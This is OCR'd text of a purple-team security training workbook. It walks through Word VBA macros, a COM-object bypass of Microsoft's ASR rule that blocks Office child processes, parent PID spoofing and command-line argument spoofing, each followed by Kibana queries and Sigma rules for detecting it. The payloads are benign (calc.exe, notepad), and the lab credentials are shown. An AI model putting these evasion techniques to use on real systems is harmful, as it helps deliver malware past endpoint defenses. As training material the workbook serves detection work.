
& g Project (Vbacode) 8 Vbacode - Module! (Cade) =N B =)
- (] Miarosoft Word Objects ‘ I(Genenl] v| fnumOpen ul
-3 Modules

— <2 Madule1 Sub AutoCpen () =

th-[L1] References | Dim strFrogramiName As String

Dim strArgument As String

sctrProgramNams = "C:\Windows\system32\calc.sxe"
strArgument = "/G"

Call Shell ("""" & strFrogramNames & "7" """ [ strirgument & """", vbNormalFocus)
End Sub

Once ready, you may close both the "Module1 (Code)" and "Microsoft Visual Basic for
Applications” windows.

Step 4: Saving the Macro-Enabled Word Document

As macros are dangerous, you will now have to save the malicious file in a macro-enabled
format. By default, Word documents are saved in the docx format, which prevents macros
from being executed. As we want to spread a macro-enabled document, we will need to save it
using the docm format.

SPOILER ALERT: We will see ways to execute VBA macro code in .docx files on Day 4!

From Word's "File" tab, click the left-column's "Save As" menu. From there, you can save the
malicious document on "This PC" as a "Word Macro-Enabled Document". Please save it on the
Desktop as vbacode_simple.docm.

vbacode siinple - Saved to this PC student ladm@sec®0-200ab B © & 2 - (| %
Home
T 5 Desktop
@ Recent
| _vbacode_stmpte .
[Ward Macro-Enabled Document (*.docim) - [955“ |
@ OneDrive More options..,
[L isec | 3 NewFoder |

Whenever this document is now opened and macros are enabled (click "Enable Content"), the
Windows calculator (calc.exe) will be spawned!

Step 5: Detecting calc.exe being spawned

As indicated previously, a common means of detecting this behavior is by analyzing parent-
child relationships upon process creation. Sysmon event ID 1 provides an excellent means of
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doing this!

Back on your CommandoVM, open a browser window and open our Kibana dashboards at
http://192.168.20.106:5601. Please navigate to the "Discover" view (compass icon) and review
all processes launched by Word by running the following search:

process.parent.name.text:winword.exe

What is this ".text" you may ask? A short and simple explanation is that ".text" is a datatype that

specifies what type of data we are dealing with here. More information can be found in the
Elastic reference documentation:

-Elastic Text datatype
-Elastic ECS Process

Now, the query above should result in a simple detection of your calc.exe:

New Save Open Share Inspect

[B) v  process.parent.name.text:winword.exe KQL B ~ Today Show dates

@  +Add filter

winlogbeat-* ~ <

12 hits
Q Apr 10, 2020 @ 00:00:00.000 - Apr 10, 2020 @ 23:59:59.999 — Auto 4
@ Filter by type o
Selected fields £
a 3
L
P _source 2
Available fields )
o
pOlelar 9 03:00 Q 12200 i B-00 H
1 processexecitable @timestamp per 30 minutes
t processname Time « _source
t  process.parent exec... > Apr 18, 2028 @ 15:33:50.869 gtimestamp: Apr 18, 2028 @ 15:33:50.969 log.level: information message: A new process has been created. Creator
Subject: Security ID: $-1-5-21-3243298343-3591274548-1866670143-1126 Account Name: student_ladm Account Domain:
t process.parent.name
sec699-28 Logon ID: 8x9A881 Target Subject: Security ID: 5-1-8-8 Account Name: - Account Domain: - Logon ID: 9x8
L il et Process Information: New Process ID: exff@ New Process Name: C:\Windows\System32\calc.exe Token Elevation Type:
B @timestamp %%1938 Mandatory Label: S-1-16-8192 Creator Process ID: @x1c68 Creator Process Name: C:\Program Files\Microsoft

You can now expand the event to review all fields:
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t log.level information

I message ?
A new process has been created.

Creator Subject:

Security ID: §-1-5-21-3243290343-35912745408-1866670143-1126
Account Name: student_ladm
Account Domain: sec699-20
| anan Th- avaaeal

! process.args C:\Windows\system32\calc.exe, /G

@ & M @ ¢ process.command_line “C:\Windows\system32\calc.exe" "/G"

t process,executable C:\Windows\System32\calc.exe

t process.name calc.exe

t process,parent.executable C:\Program Files\Microsoft Office\root\Office16\WINWORD. EXE

t process.parent.name WINWORD.EXE

As indicated previously, this is a pretty simple detection logic that allows easy detection of
suspicious executables being launched by Office products. A simple Sigma rule for the specific
case would be constructed as follows:

title: Detecting processes spawned by Microsoft Word
description: Detect processes spawned by MS Word by analyzing the parent process
field.
tags:
- attack.initial_access
- attack.t1064
status: experimental
author: sec699
logsource:
product: windows
category: process_creation
detection:
selection:
ParentImage:
- 'winword.exe'
condition: selection
level: low

Note that we are using the actual Sysmon field name in our SIGMA rule here, which is
"Parentimage" for a parent process. In order to retrieve the mapping of the actual fields in the
event and how they are parsed by Elastic, you can use the Elastic Common Schema (ECS).

Objective 2: Bypass "Block all Office applications from creating child
processes"”

In the previous part of the lab, we saw how easy a piece of VBA code can be leveraged to run
executables. Could we possibly prevent this?
One interesting ASR (Attack Surface Reduction) rule is the following one:

206 © 2021 NVISO and James Shewmaker

Technet24


https://technet24.ir
https://technet24.ir

Block all Office applications from creating child processes

This rule blocks Office apps from creating child processes. This includes Word, Excel,
PowerPoint, OneNote, and Access.

Creating malicious child processes is a common malware strategy. Malware that abuses
Office as a vector often runs VBA macros and exploit code to download and attempt to
run additional payloads. However, some legitimate line-of-business applications might
also generate child processes for benign purposes, such as spawning a command prompt
or using PowerShell to configure registry settings.

GUID: D4F940AB-401B-4EFC-AADC-AD5F3C50688A

Source: docs.microsoft.com

This is not a bad rule, as it will block the behavior we saw in the previous part of the lab. Can
we bypass it, however? There are a number of ways how the "Block all Office applications from
creating child processes” Attack Surface Reduction (ASR) rule indeed can be bypassed.

Throughout the lecture, your Instructor provided a number of interesting options. A common
technique is to use a VBA macro to create a Scheduled Task, which will allow adversaries to
execute a payload without launching a child process from Microsoft Office.

As the creation of a scheduled task is rather straightforward to detect, we will showcase a more
advanced technique and leverage COM objects to bypass the ASR rule.

Even though we will focus on Word documents, do note that this approach leverages macros

which should work in other Office tools such as Excel.

Step 1: Creating a Malicious Word Document

We will use the Win10 machine (192.168.20.105), on which MS Office has been installed. Please
open a Remote Desktop connection to 192.168.20.105 with username student_ladm an
password Sec699!!).

From this machine, use Window's search function to locate the "Word" executable.
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£ word|

Once launched, you might be greeted by a sign-in prompt which you can disregard using the
top-right closing button.
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You can then select a new "Blank document” from the "New" section, which is where we will start
placing our malicious payload.

Step 2: Creating a new Macro
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From the new empty document, use Word's search-bar to open the "Visual Basic Editor" as
shown below.

B2 Wisual Basic Editor

Best Action

@ Wisual Basic Editor

Get Help an

Find in Document

“Visual Basic Editor”
Drsults

2 Mare search-results for "Visual Basic Editar"

As soon as the editor opens, right-click "ThisDocument" and, from the "Insert" entry, select the
"Module" option.

Wi Code

=2 rews Object

Togale Folders
Project Properties.,,

[ Insart -f.] UserFortn
e

Export File..,
I Thist

He o

o Pint..
Dockable
= Hide

In the below displayed "Module1 (Code)" pane, we may now proceed to write our VBA code.
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9 Microsoft Visual Basic for Applications - Sec699 - T *
. File: gdti Miew [nsert Forriat Debug  Rum Tools Add-lns Window Help
EEEH L aBmA9 oy owoa R ERE @ n, o -

m@ N R Conert
S8 Project (sece99) | ' v

51455 Microsaft Word Obje
| | 8] ThisCorurient.
(214455 Modules

Step 3: Weaponizing the Macro

As seen during the course, we will avoid creating a process directly, as this will be blocked by
the ASR rule. We will try to spawn processes using the ShellWindows and ShellBrowserWindow
COM objects. To do so, in the above "Module1 (Code)" pane, place the following VBA code:

sub AutoOpen()
Set ShellWindows = GetObject("new:9BA05972-F6A8-11CF-A442-00A0C90A8F39")
Set ItemObj = ShellWindows.Item()
ItemObj.Document.Application.ShellExecute "C:\Windows\System32\calc.exe",
S S gpentt, 1
Set ShellBrowserWindow = GetObject("new:CO8AFD90-F2A1-11D1-8455-
OOAOC91F3880")
ShellBrowserWindow.Document.Application.ShellExecute
"C:\Windows\System32\calc.exe", "", """ 'open", 1
end sub

The above code relies on two COM objects (identifiers 9BA05972-F6A8-11CF-A442-
OOAOC90A8F39 and CO8AFD90-F2A1-11D1-8455-00A0C91F3880 ) to launch
C:\Windows\System32\calc.exe.

As you might want to make sure the syntax is correct, feel free to make a test-run using the
green "Run Sub" button outlined in the following capture.
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Once ready, you may close both the "Module1 (Code)" and "Microsoft Visual Basic for
Applications” windows.

Step 4: Saving the Macro-Enabled Word Document

As macros are dangerous, you will now have to save the malicious file in a macro-enabled
format. By default, Word documents are saved in the docx format, which prevents macros
from being executed. As we want to spread a macro-enabled document, we will need to save it
using the docm format.

SPOILER ALERT: We will see ways to execute VBA macro code in .docx files on Day 4!

From Word's "File" tab, click the left-colum's "Save As" menu. From there, you can save the
malicious document on "This PC" as a "Word Macro-Enabled Document".

Whenever this document is now opened, the Windows calculator (calc.exe) will be spawned! Go
ahead and try...

Objective 3: Detect Child-Process Protection Bypasses

Step 1: Required Log Sources
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As this is mostly endpoint activity, it should not come as a surprise that detection is primarily
built on endpoint logs.

Windows Attack Surface Reduction events

Attack Surface Reduction (ASR) rules have distinct Windows event IDs that are generated
whenever they are interacted with:

Event ID Description

5007 Event when ASR settings are changed
1121 Event when ASR rule fires in Block-mode
1122 Event when ASR rule fires in Audit-mode

However, in our case, a bypass is used and the above events are never triggered.

Windows event ID 4688

Event ID 4688(S): A new process has been created
This event generates every time a new process starts.

Source: docs.microsoft.com

Sysmon event ID 1

Event ID 1; Process creation

The process creation event provides extended information about a newly created
process. The full command line provides context on the process execution. The
ProcessGUID field is a unique value for this process across a domain to make event
correlation easier. The hash is a full hash of the file with the algorithms in the HashType
field.

Source: docs.microsoft.com

Step 2: Looking for the Bypass
From our ELK stack's Kibana ( http://192.168.20.106:5601 ), we can see how the calculator

has been opened. To do so, please go to the "Discover" view (compass icon) and search for a
process creation (event code 1 or 4688)from the calc.exe process.
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event.code: (1 or 4688) and process.name: "calc.exe"

Once the search is completed, you should have identified multiple hits. Although the table can
be quite verbose, feel free to open the event using the left drop-down arrow and change which
fields are to be displayed using each field's "add to table" or "remove from table" icon.

10 hits
Mar 26, 2020 @ 13:48:25.204 - Mar 27 2020 @ 13:48:46.5644 — Auto ~
B
E
3 4
=]
w0
0060 03-G0 3R F Ry 12:00
(@timestamp per 30 minutes
Time « process.name evenl.code process.parent.executable
Mar 27, 2828 & B7:17:45.377 ecalo.exe 1 C:\Windows\explorer.exe
Mar 27, 2826 @ §7:17:45.377 calc.exe 4688 C:\Windows\explorer, exs
> Mar 27, 2620 @ §7:17:44,938 calc.exe 4688 C:\Windows\explorer.exe
Mer 27, 2828 & @7:17:44.929 calc.exe 1 C:\Windows\explorer.exe
Mar 27, 2826 & §7:17:06.382 calc,exa 4688 C:\Windews\expiorer,exs
Mar 27, 282@ 2 97:17:86.382 calc.exe 1 C:yiindows\explorer.exe
Mer 27, 20820 & B7:17:04.743 cale.exe 4588 C:uWindows\explorer . exe
Mar 27, 2826 @ §7:17:04.743 calc.exe 1 C:\Windows\explorer, exs
Mar 27, 2828 & B4:23:12.352 cal¢clexe 1 C:\Windows\explorer.exs
5 MWar 27, 2828 £ B4:23:12.352 caloiexe 4688 C:\Windows\explorer.exe

Remember from the course lecture that parent-child relationships are a good way to analyze
suspicious execution on endpoints. When analyzing the "Process Creation" event (event ID 1),
you'll notice that the parent process of calc.exe is not winword.exe, but explorer.exe ...
Devious!

So can we find any weird behavior from winword that might hint something fishy is going on?
Let's use the below query to find activity related to winword:

process.name: "WINWORD.EXE"

You'll soon conclude that when COM objects are involved:

e Created processes are not child processes of the "parent” one.
e Creating processes do not own the "child" one.
e No direct link is observable between the processes.
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Detecting the malicious activity will thus need to happen somewhere else...

Step 3: Analyzing alternative detection means

When an Office macro executes, the software (i.e. Word) will rely on a VBA DLL which may vary
depending on the versions. As an example, the following path is the one used on our Windows
10 machine by Word.

C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft
Shared\VBA\VBA7.1\VBE7.DLL

Although this could be seen as a valuable 10C, this would require us to have Sysmon's event ID
7 enabled. As this event ID logs all loaded images (exe, d11, ...) you might understand that the
noise it generates (easily more than 20 events per process) has caused this event to not be
monitored by default. In a usual corporate environment, it is not advised to log this noisy
event, even though the sysmon_susp_winword_vbadll_load.yml Sigma rule supports it.

A second approach to catch macros is to detect it at an earlier stage. As docx documents do
not ship with macros, one could be on the lookout for docm files. As an example, below is the
Kibana search for any file whose path has the .docm extension.

file.path.text: *.docm

You may try the above query which should result in multiple matches as below.

5 hits
Mar 26, 2020 @ 13:48:25.204 - Mar 27, 2020 @ 13:48:46 644 — Auto ~

Count

1500 1800 210 000 Fao0 1600 08a0 (hatje

@timestamp per 30 minutes

Time - file.path

Mar 27, 2828 & B7:17:39.928 C:i\Users\student\Documents\~$sech29.docm

Mar 27, 26826 @ §7:77:36.674 C:\Users\student\Documents\~Seecta9, doem

=4

Mar 27, 20828 2 §7:17:38.412 C:\Users\studentiDocuments\sec699.docm

, 2828 P B4:23:88.562 C:\Users\student’Documents\~3sechdd, docm

~

Mar 2

Mar 27, 2826 @ 84:22:83.746 C:\Users\studentiDocuments\sec69l.docm

Although the above rule does not prove execution, the following query at least guarantees that
a Word instance (WINWORD. EXE ) has been launched with the .docm value in the command line.

process.name.text:"winword.exe" AND process.args:*.docmx
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You may try the above query which should result in multiple matches as below.

Count

Time «

Mar 27,

Mar Z7,

2820 € @7:17:38.898

2626 @ 284:23:67.111

18:00 21140 00

2 hits
Mar 28, 2020 @ 13:48:25.204 - Mar 27, 2020 @ 13:48:46644 —  Auto o

o300 o8itn

@timestamp per 30 minutes
‘C:\Program Files\Microsoft Office\Root\Officel6\WINWORD.EXE® /n "Crilsers\student\Decuments\secé99.doem” jo "°

01

process.command_line

“C:\Program Files\Microsofi Office\RooT\Office]6\WINWORD.EXE™ /n "C:\Users\student\Documents)sechd9. docm” o ""

Although not guaranteed to be macro-equipped nor malicious, it can be a trigger for additional
analysis!

Bonus Step: Building a Sigma Rule

As Sigma rules are interesting for cross-SIEM rule generation, let's view what ours would look
like given the above loCs.

In this rule, we will be looking for any process whose ProcessName matches WINWORD.EXE , and
which furthermore has a CommandLine containing the .docm extension. Furthermore, this rule
targets any process creation (see category ) instead of a specific source, making it work
against both Sysmon and the built-in Windows Security logs.

title: Macro-Enabled Document Opened in Microsoft Word
description: Detect macro-enabled Word documents (docm) opened in Word

tags:

- attack.initial_access

- attack.tl1l064

status: experimental
author: sec699
logsource:

product: windows

category: process_creation
detection:

selection:
ProcessName:

- '"WINWORD.EXE'
CommandLine|contains:

- '.docm'

condition:

level:

216

low

selection
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This Sigma rule could now be used to exchange between analysts and leverage the same logic
across different SIEM technologies! The usage of Sigma will be shown at a later stage.

Conclusions

Throughout this lab, we illustrated how Attack Surface Reduction (ASR) works:

e We showed an example of a simple VBA macro that can execute a (malicious) payload

e We illustrated how the above behavior can be easily detected

e We showed how ASR rules could prevent the simple VBA macro, but can be bypassed by
using common logic (e.g., running our payloads through COM objects instead of directly
spawning a new process)

e Reviewing opportunities for detection of payloads executed by Word

After the lab, please stop your target environment. In order to do so, please use the following
command:

cd /home/student/Desktop/lab-manager
./manage.sh destroy_target -t [version_tag] -r [region]

Exercise 4: Bypassing Modern Security Products - Child and
Command-Line Spoofing

In this lab, we will review a number of interesting tricks that can be used to avoid typical
detection strategies we explained in the previous labs:

e Parent-child relationship analysis
e Command-line argument analysis

We will leverage a series of tricks to spoof both parent-child relations and command-line
arguments!

T1502 - Parent PID Spoofing

Adversaries may spoof the parent process identifier (PPID) of a new process to evade
process-monitoring defenses or to elevate privileges. New processes are typically
spawned directly from their parent, or calling, process unless explicitly specified. One way
of explicitly assigning the PPID of a new process is via the CreateProcess API call, which
supports a parameter that defines the PPID to use. This functionality is used by Windows
features such as User Account Control (UAC) to correctly set the PPID after a requested
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elevated process is spawned by SYSTEM (typically via svchost.exe or consent.exe) rather
than the current user context.

Source: attack.mitre.org

We will demonstrate these techniques and provide some ideas for detection!

Lab Setup and Preparation

Please start your target lab environment using the following commands on the student VM:

cd /home/student/Desktop/lab-manager
./manage.sh deploy -r [region] -t [version_tag]

Once the environment is deployed, please start the lab from the CommandoVM.

Objective 1: Child-Parent Spoofing

Child-Parent relationships are often considered as a fundamental artifact of the OS that cannot
be faked. As explained during the lecture, however, Windows (as of Windows Vista) has a built-
in opportunity to set the parent process to an arbitrary value:

Normally the parent process of a new process is the process that created the new process
(via CreateProcess). But when using STARTUPINFOEX with the right
LPPROC_THREAD_ATTRIBUTE_LIST to create a process, you can arbitrarily specify the
parent process, provided you have the rights (i.e., it's your process or you have debug
rights).

Source: blog.didierstevens.com

In the first objective of this lab, we'll create a very obvious example of a spoofed child process:
We'll create a process that has 1sass.exe as a parent. Note that this will require
administrative privileges, as 1sass.exe is a core Windows process that runs with SYSTEM
privileges.

However, the spoofing technique itself does not require administrative privileges.

Step 1: Getting SelectMyParent
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Instead of reinventing the wheel, we will rely on the source-code published by Didier Stevens,
which he open-sourced after his research. As we will need to rely on Visual Studio, please
perform this step on your CommandoVM machine.

Getting the Source Code

In his blog-post titled "Quickpost: SelectMyParent or Playing With the Windows Process Tree", Didier
Stevens shared the source-code of his "SelectMyParent" tool.

Proceed to download the source-code from our mirrored version. Once downloaded, proceed
to extract it using the right-click menu's "Extract to ..." feature.

=

Once SelectMyParent's source-code is extracted, open the directory.
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acthdyParent vl 0.0 Tz

B SelecityParent 0 001, Aalirne0 T AN Filkfoider

Within the directory, you'll find a Visual Studio solution file called SelectMyParent.sln.Please
open it using Visual Studio on your CommandoVM machine.

B EN-

179,675 KB

A i sl

Building the Binary
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To build the SelectMyParent tool, you might first need to upgrade the solution. If you are
presented the following "One-way upgrade” prompt, just proceed using the "OK" button:

Once Visual Studio is fully opened, please make sure you are creating a "Release" build, not a
"Debug" build. This can be simply changed in the Visual Studio dropdown list.

D) e faf Wime Frojct cHuild  Peban et Al foelo Efaniond  Window Halz
et BT R R e T 11 il i U

You can then proceed to build SelectMyParent using the "Build" tab's "Build Solution" option.
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4 Build Solution Cerl +8Kift 48

After a couple of seconds, you should get a similarly-looking "Output” tab at the bottom of your
screen.

£:\Users\student\Donloads) SelectiyParent_ve B _8_1\Releasc\SelectiyParent., cxe

If everything went well, the build's output should look as follows:
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1>Generating code

1>Finished generating code

1>Previous IPDB not found, fall back to full compilation.

1>A1l 6 functions were compiled because no usable IPDB/IOB3 from previous
compilation was found.

1>SelectMyParent.vcxproj ->
C:\Users\student\Downloads\SelectMyParent_v0_0_1\Release\SelectMyParent.exe
========== Build: 1 succeeded, 0 failed, 0 up-to-date, 0 skipped ==========

Remember to save the path to SelectMyParent.exe somewhere as we will need it later in this
lab.

Step 2: Get Process Monitor

Let's test this little tool and see how it behaves! First, let's make sure we have some local
visbility on process execution. We will rely on Sysinternals' Process Monitor for this.

Process Monitor is an advanced monitoring tool for Windows that shows real-time file
system, Registry and process/thread activity. It combines the features of two legacy
Sysinternals utilities, Filemon and Regmon, and adds an extensive list of enhancements
including rich and non-destructive filtering, comprehensive event properties such session
IDs and user names, reliable process information, full thread stacks with integrated
symbol support for each operation, simultaneous logging to a file, and much more. Its
uniquely powerful features will make Process Monitor a core utility in your system
troubleshooting and malware hunting toolkit.

Source: docs.microsoft.com

Process Monitor, often referred to as "ProcMon", can easily be launched once downloaded from
Microsoft's Sysinternals portal.

As we want to execute our parent-child spoofing in the domain environment we are monitoring
(where we have Sysmon and Winlogbeat installed), let's proceed to open an RDP connection to
one of the domain-joined machines (i.e. WIN1o at 192.168.20.105 ) using the SEC699-
20\student account (password Sec699!! ).

Once you have your RDP session up and running, let's open a PowerShell prompt (e.g., through
the Start button):
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£ Windows Powershell

In the newly launched prompt, let's proceed to download the Sysinternals' ProcMon64.exe
local monitoring solution.

curl.exe -o .\Downloads\ProcMon64.exe s.com/ProcMon64.exe
% Total % Received % Xferd Average Speed Time Time Time
Current

Dload Upload Total Spent Left Speed
100 1149k 100 1149k 0 0 1149k 0 0:00:01 --:--:-- 0:00:01 2299k

Once done, in the same prompt, we can execute it. As we want to run ProcMon with
administrative privileges, you'll need to provide credentials for an administrative account.
Please use your student_ladm local administrator user (password Sec699!!).

runas /user:sec699-20\student_ladm ".\Downloads\ProcMon64.exe -accepteula"
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Should you already have ran ProcMon previously, you may have some filters that are still
enabled. It's a good idea to reset these by clicking the "Reset" button followed by "OK".

Step 3: Prepare ProcMon

In ProcMon, make sure you are recording all activity. If the magnifying glass is crossed out as
shown below, make sure to click it once to start recording.
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Once you are recording, proceed to open the "Tools" menu and select the "Process Tree..."
option as shown below.

From within the new "Process Tree" window which should be similar to the following one,
proceed to scroll through all processes. As discussed, we'll use lsass.exe in our example.
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Once you find 1sass.exe, please save the process' identifier (PID) somewhere. It's located in
the view between the brackets. In the above example, this would be 692 .

When done, close the "Process Tree" window.

Step 4: Spoof the Child-Parent Relationship

We can now drop our SelectMyParent.exe binary to the target machine over the already
opened RDP connection. To do so, from your CommandoVM machine, copy the binary from
the path where you built it (see Visual Studio's output). As we can copy/paste files over RDP,
proceed to paste it on the target machine in a folder you will remember (e.g.
%HOMEPATH%/Downloads ).

With the binary now placed on the monitored domain-joined machine, let's proceed to execute
our spoofing attempt.

As we will be using 1sass.exe as a parent process, we'll need to use administrative privileges.
Let's open an elevated prompt (PowerShell, Command or other) on our target machine. To do
so, open a commond prompt and run the following command. Please use your student_ladm

local administrator user (password Sec699!!).

runas /user:sec699-20\student_ladm "powershell.exe"
In the elevated prompt, we can now run SelectMyParent.exe.To do so, use the path at which

we previously pasted the binary (e.g. %HOMEPATHS%/Downloads/SelectMyParent.exe ). AS
arguments, you'll need to provide the executable you want to execute (e.g. notepad ) as well as
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the process ID of the process we want to use as a parent. In our of the process we target to
become the parent, which in our above example is 692 for lsass.exe.

C:\Users\student\Downloads\SelectMyParent.exe notepad 692

If you have the required permissions, you will retrieve a similar output which states "Process
created".

SelectMyParent v0.0.0.1: start a program with a selected parent process
Source code put in public domain by Didier Stevens, no Copyright
https://DidierStevens.com

Use at your own risk

Process created: 8932

Step 5: Check the Results

Once we spoofed the process, let's open the "Process Tree" window again through the "Tools"
menu of ProcMon.

Process Tree. Ctrl+T

In the "Process Tree" window, search for 1sass.exe again. You should see that you have now
successfully spawned a notepad.exe as a child of 1sass.exe:
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Objective 2: Argument Spoofing

Similar to the parent-child relationship spoofing, we can also spoof the command line
arguments when a process is started.

Typically, once a process has been created, tools such as Sysmon or other EDR tools log the
event, often including the arguments passed to the process. How can we however spoof these?
As explained during the lecture, the high-level steps are:

Create the process in a suspended state

Retrieve the PEB address using NtQuerylnformationProcess

Overwrite the command line stored in the PEB using WriteProcessMemory
Resume the process

This technique is described in detail on the following blog posts:

e https://blog.xpnsec.com/how-to-argue-like-cobalt-strike/

e https://blog.christophetd.fr/building-an-office-macro-to-spoof-process-parent-and-
command-line/

e https://blog.nviso.eu/2020/02/04/the-return-of-the-spoof-part-2-command-line-spoofing/

This lab will guide you trough the creation of an executable which spawns a process with
spoofed arguments.

Step 1: Getting the CommandSpoofer Source-Code
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We will use a sample PoC that was open-sourced by Jean-Francois Maes of NVISO. It is heavily
based on the work that was already published in the blog posts above (by Adam Chester and
Christophe Tafani-Dereeper). The PoC provides a simple way to create a PowerShell instance
with arguments different from the ones initially reported. As this step will leverage Visual
Studio, proceed from your CommandoVM machine.

Getting the Source-Code

We will first download the CommandSpoofer project on our Visual Studio equipped
CommandoVM machine.

Once downloaded, locate the CommandSpoofer.zip file and, through the right-click menu,
select the "Extract to CommandSpoofer\" option.

e R

Extract to CommandSpoofer,

File falder
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To open the project in Visual Studio, proceed to open the CommandSpoofer.sln solution file.

pAGAAN Wil Sradio Sali

After a couple of seconds, you should have the project opened in Visual Studio. Should you
wish to see the source-code as done below, feel free to access the CommandSpoofer.cpp file
located under the "Source Files" folder.

aofer (10f 1 project)

Take a few minutes to walk through the source code. It has been properly commented,
allowing you to easily identify the different steps involved in this attack strategy.

One of the key things to observe is the values of the two variables at the top:

e CMD_TO_SHOW, which value is set to powershell.exe -NoExit -c Write-Host 'Hello
World!'
e CMD_TO_RUN, which value is set to powershell.exe -NoExit -c Write-Host Bye Evil!\0@

Two common questions on the cMD_To_RUN : What are the L that prefixes the variable and the
\0 atthe end of the Write-Host command?
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e The L symbolin front of a string literal means that each character in the string will be
stored as a wide character (wchar_t).
e \0 equals 0. The character is used to mark the end of a string.

Building the CommandSpoofer Binary

Once you have a good idea of what the code does, you can move on to build the malicious
executable.

First of all, please make sure you are creating a "Release" build, not a "Debug" build. This can
be simply changed in the Visual Studio drop-down list.

-0 | B2 @D -0 -] Release - x5 .

aio|diq Janms

Next, from Visual Studio's "Build" tab, select the "Build Solution" option.

After a couple of seconds, you should obtain the newly-compiled binary's path as observable
below.
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Output
Show output from: Build Sl el S | E | s
1>Generating code
1>Finished generating code
1>Previous IPDB not found, fall back to full compilation.
1>411 6 functicns were compiled because no usable IPDB/I0CBY from previous compilation was found.

1>CommandSpoofer.voxproj -» C:\Users\student\Desktop\CommandSpoofer\x64\Release\CommandSpoofer.exa
s==s======= Build: 1 succeeded, 8 falled, & up-to-date, € skipped s==========

The bottom-pane's "Output” tab should give a similar output. Save the path to
CommandSpoofer.exe as we will need it later for execution.

1>Generating code

1>Finished generating code

1>Previous IPDB not found, fall back to full compilation.

1>A1l 6 functions were compiled because no usable IPDB/IOBJ from previous
compilation was found.

1>CommandSpoofer.vcxproj ->
C:\Users\student\Desktop\CommandSpoofer\x64\Release\CommandSpoofer.exe
========== Build: 1 succeeded, 0 failed, 0 up-to-date, 0 skipped ==========

Step 2: Monitoring the Execution

As we did in the previous lab, we can launch a local monitoring solution on our target domain-
joined host. To do so, let's open an RDP connection to the WIN10 machine ( 192.168.20.105)
using the SEC699-20\student account (password Sec699!!).

To launch ProcMon on the target machine, proceed to open a PowerShell prompt and launch
ProcMoné64.exe With the accepted EULA terms ( -accepteula). As we want to run ProcMon with
administrative privileges, you'll need to provide credentials for an administrative account.
Please use your student_ladm local administrator user (password Sec699!!).

runas /user:sec699-20\student_1ladm ".\Downloads\ProcMon64.exe -accepteula"

As you already ran ProcMon previously, you'll still have some filters enabled. Please reset these
by clicking the "Reset" button followed by "OK".
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As we did previously, make sure that ProcMon is recording. If the magnifying glass is crossed
out as shown below, make sure to click it once to start recording.

Step 3: Executing the Argument Spoofing

We can now drop our CommandSpoofer.exe binary to the target machine over the already
opened RDP connection. To do so, from your CommandoVM machine, copy the binary from
the path where you built it (see Visual Studio's output). As we can copy/paste files over RDP,
proceed to paste it on the target machine in a folder you will remember (e.g.
%HOMEPATH%/Downloads ).
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Once done, we will need a shell to execute the binary on our target machine. Using the
Windows start-menu's search function, locate and launch the "Command Prompt".

£ cmd|

Once the prompt opened, you may execute the binary whose path was previously obtained
from Visual Studio's "Output” pane.

%HOMEPATH%\Downloads\CommandSpoofer.exe

If everything went as it should, a new PowerShell window should have spawned with the
following content:

Bye Evil!

This is of course the result of the cMp_To_RUN value described above. But what are our
monitoring tools telling us?
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Step 6: Reviewing the Results

From ProcMon's "Tools" menu, proceed to open the "Process Tree...".

In the newly opened "Process Tree" window, locate our executed CommandSpoofer.exe . You can
select its child process powershell.exe and observe its properties in the bottom pane.

Windows Fotvers MiGroEofl &

In the process' summary, ProcMon reports the following command was used for

powershell.exe .
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Command: powershell.exe -NoExit -c Write-Host 'Hello World!"'

As we can see, we successfully executed a PowerShell command that is not properly logged by
ProcMon!

Objective 3: Detecting the Spoofing

As we are dealing with process creation manipulation, let's have a look at what Sysmon tells
us...

In order to execute this part of the lab, please exit all RDP sessions you may still have open and

fall back to your CommandoVM machine.

Step 1: Required Log Sources

Sysmon

Event ID 1: Process creation

The process creation event provides extended information about a newly created
process. The full command line provides context on the process execution. The
ProcessGUID field is a unique value for this process across a domain to make event
correlation easier. The hash is a full hash of the file with the algorithms in the HashType
field.

Source: docs.microsoft.com

Step 2: Detection Logic:
From our ELK stack's Kibana (http://192.168.20.106:5601 ), let's try to identify the events that
took place. To do so, please go to the "Discover" view (compass icon) and search for a process

creation event (event ID 1) with notepad.exe asthe process:

event.code:1 and process.name:notepad.exe
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[E)~ event.code:l and process.name:notepad.exe| KQL [~ This week Show dates

@+ Add filter

winlogbeat-* Qe 1 hit
Q Apr 5, 2020 @ 00:00:00.000 - Apr 11, 2020 @ 23:59:59.999 — Auto b2

® Filter by type o

Selected fields

Count

W _source
Available fields
Popular 2020-04-08 0000 2020-04-07 000 2020-04-08 0000 2020-04-04 0000 20200410 00:00 2020-04-11 0000

t process.execulable @timestamp per 3 hours
t process.name Time - _source

P process.parent.exec.. > Apr 11, 2828 @ 89:54:44.448  gvent.code: 1 process.name: notepad.exe Stimestamp: Apr 11, 2020 @ 89:54:44.448

winlog.event_data.Product: Microsofts Windowss Operating System winlog.event data.lLogonId: 8x3e7
t process.parent.name
winlog.event_data.Integritylevel: System winlog.event_data.Description: Notepad
£ Winipgeventid winlog.event_data.OriginalFileName: NOTEPAD.EXE winlog.event_data.Company: Microsoft Corporation

B @timestamp winlog.event_data.TerminalSessionId: 2 winlog.event data.FileVersion: 18.8.17763.475 (WinBuild.168181.0808)

t _ki

When expanding the event, you'll see the following details:

L3 lavarsian: TH B T FFRY AR TEIAMNTY TA TREATHMT

t process.args notepad

t process.eptity_id {983beff7-da34-5e91-0000-80108b7 F80a01}

t process.executable C:\Windows\SysWOW64\notepad.exe

t process.name notepad.exe

t process.parent.args C:\Windows\system32\lsass.exe

t process.parent.entity_id {983beff7-8bf5-5e98-0600-8010017a0000}
Gy & FA @ o process.parent.executabls C:\Windows\System32\1sass.exe

t process.parent.name lsass.exe

¢ process.parent.pid 596

¢ process.pid 5536

t process.working directory C:\Windows\system32\

As you can see, the parent process of notepad.exe isindeed 1lsass.exe, SO our parent-child
spoofing cannot be detected using Sysmon...

How about the command-line spoofing? Let's have a look at the PowerShell command that was
executed.

To do so, please go to the "Discover" view (compass icon) and search for a process creation
event (event ID 1) with noexit as a string to look for. You may remember that "-NoExit" was
present in both the actual PowerShell comand line and the fake one, so it's a good "quick and
dirty" way of finding the relevant events!
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event.code:1 and noexit

New Save Open Share Inspect

[5] ~ eventcode:l

and noexit

KQL ~  This week Show dates

& - + Aad filter
winlogbeat-*
Q) Sea

& Filter by type
Selected fields

<> _source

Avallable fields

Popular

t process.exacutable

t processname

1 process parent.exec..
t process.parant.name
¢ winlogevent.id

2 @timestamp

Count

2020-04-05 00:00 2020~04-06 00

Time «

7 Apr 11, 2828 @ 89:35:49.802

